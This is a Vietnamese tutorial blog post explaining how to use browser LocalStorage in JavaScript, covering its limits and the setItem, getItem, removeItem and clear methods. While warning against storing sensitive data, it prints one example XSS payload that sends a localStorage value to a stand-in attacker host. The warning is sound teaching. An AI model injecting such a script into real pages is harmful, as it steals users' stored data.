- vừa được xem lúc

Local Storage với JavaScript

0 0 21

Người đăng: Ngo Minh Phong

Theo Viblo Asia

Local Storage là gì?

Tương tự như cookie, HTML5 hỗ trợ LocalStorage là một loại lưu trữ web cho phép các trang web và ứng dụng Javascript lưu trữ và truy cập dữ liệu ngay trong trình duyệt mà không có ngày hết hạn. Hay dữ liệu được lưu trữ trong trình duyệt sẽ tồn tại ngay cả sau khi cửa sổ trình duyệt đã bị đóng, Dữ liệu chỉ mất khi bạn sử dụng chức năng clear history của trình duyệt, hoặc bạn sử dụng localStorage API để xóa

Hạn chế của LocalStorage

  • Thông tin trong LocalStorage chỉ được lưu trữ trong trình duyệt của người dùng (Không lưu trên server) , localStorage được sandbox theo domain name của ứng dụng web. Hay nói cách khác mỗi trang web sẽ có 1 LocalStorage riêng và không thể truy cập đến LocalStorage khác. Đây có thể xem là ưu điểm cũng có thể là nhược điểm của LocalStorage.

  • Không nên lưu các dữ liệu nhạy cảm của người dùng vào LocalStorage: LocalStorage chỉ được lưu ở phía client nên có thể có 1 số lỗi bảo mật mà hacker có thể tận dụng để lấy ra dữ liệu của người dùng từ Local Storage như Cross Site Scripting (XSS), DNS spoofing attacks. VD: Thông qua field input của trang, hacker có thể nhập vào 1 đoạn mã script như <script>window.location="http://hacker.com?cookie=" + localStorage.getItem('sensitive-data');</script> Từ đó có thể lấy ra dữ liệu của người dùng được lưu trong LocalStorage.

  • Các trình duyệt hỗ trợ:

    Trình duyệt Chrome (4.0+) Firefox (3.5) Safari (4.0) IE (8.0+)
    LocalStorage 10MB 10MB 5MB 10MB
     - Ngoài ra ta có thể kiểm tra trình duyệt có hỗ trợ localStorage bằng cách: ``` if (storageAvailable('localStorage')) { // Trình duyệt này hỗ trợ LocalStorage } else { // :( trình duyệt không hỗ trợ LocalStorage } ```
    

Kiểm tra LocalStorage

Thông qua dev tool ta có thể vào tab Application và kiểm tra Local Storage của trang hiện tại ( Chrome)

Sử dụng LocalStorage với JavaScript

  • Để sử dụng LocalStorage, ta sẽ có 4 method chính: setItem(): Gán dữ liệu vào LocalStorage getItem(): Lấy ra dữ liệu từ LocalStorage removeItem(): Xóa dữ liệu khỏi LocalStorage clear(): Xóa toàn bộ dữ liệu của LocalStorage

1. setItem()

  • Để gán 1 biến nào đó vào LocalStorage ta chỉ cần dùng lệnh: window.localStorage.setItem('key', 'value')
  • Với key là tên biến để ta truy xuất và value là giá trị biến truyền vào.
  • Chú ý: LocalStorage chỉ cho phép chúng ta lưu biến với kiểu String, vì vậy để lưu Object hoặc Array ta có thể convert sang Json.
localStorage.setItem('list_departments', JSON.stringify([1,2]))
  • Khi cần sử dụng chỉ cần JSON.parse() để convert về giá trị ban đầu.

2. getItem()

  • Để lấy ra được dữ liệu trong localStorage của trình duyệt ta dùng method: window.localStorage.getItem('key');

3. removeItem()

  • Để xóa 1 item khỏi localStorage ta sẽ sử dụng method: removeItem()
window.localStorage.removeItem('key')

4. clear()

  • Để xóa toàn bộ các dữ liệu trong LocalStorage của domain hiện tại.
window.localStorage.clear();

Tổng kết:

Thông qua bài viết mình mong rằng mọi người có thể có cái nhìn tổng quát về Local Storage cũng như các kiến thức cơ bản để có thể sử dụng Locak Storage đúng cách. M.n nếu thắc mắc, góp ý hoặc chia sẽ thêm những kiến thức liên quan có thể comment bên dưới nhé. Cảm ơn các bạn đã đọc.

Bình luận

Bài viết tương tự

- vừa được xem lúc

Giới thiệu Typescript - Sự khác nhau giữa Typescript và Javascript

Typescript là gì. TypeScript là một ngôn ngữ giúp cung cấp quy mô lớn hơn so với JavaScript.

0 0 502

- vừa được xem lúc

Cài đặt WSL / WSL2 trên Windows 10 để code như trên Ubuntu

Sau vài ba năm mình chuyển qua code trên Ubuntu thì thật không thể phủ nhận rằng mình đã yêu em nó. Cá nhân mình sử dụng Ubuntu để code web thì thật là tuyệt vời.

0 0 376

- vừa được xem lúc

Đặt tên commit message sao cho "tình nghĩa anh em chắc chắn bền lâu"????

. Lời mở đầu. .

1 1 701

- vừa được xem lúc

Tìm hiểu về Resource Controller trong Laravel

Giới thiệu. Trong laravel, việc sử dụng các route post, get, group để gọi đến 1 action của Controller đã là quá quen đối với các bạn sử dụng framework này.

0 0 335

- vừa được xem lúc

Phân quyền đơn giản với package Laravel permission

Như các bạn đã biết, phân quyền trong một ứng dụng là một phần không thể thiếu trong việc phát triển phần mềm, dù đó là ứng dụng web hay là mobile. Vậy nên, hôm nay mình sẽ giới thiệu một package có thể giúp các bạn phân quyền nhanh và đơn giản trong một website được viết bằng PHP với framework là L

0 0 421

- vừa được xem lúc

Bạn đã biết các tips này khi làm việc với chuỗi trong JavaScript chưa ?

Hi xin chào các bạn, tiếp tục chuỗi chủ đề về cái thằng JavaScript này, hôm nay mình sẽ giới thiệu cho các bạn một số thủ thuật hay ho khi làm việc với chuỗi trong JavaScript có thể bạn đã hoặc chưa từng dùng. Cụ thể như nào thì hãy cùng mình tìm hiểu trong bài viết này nhé (go).

0 0 414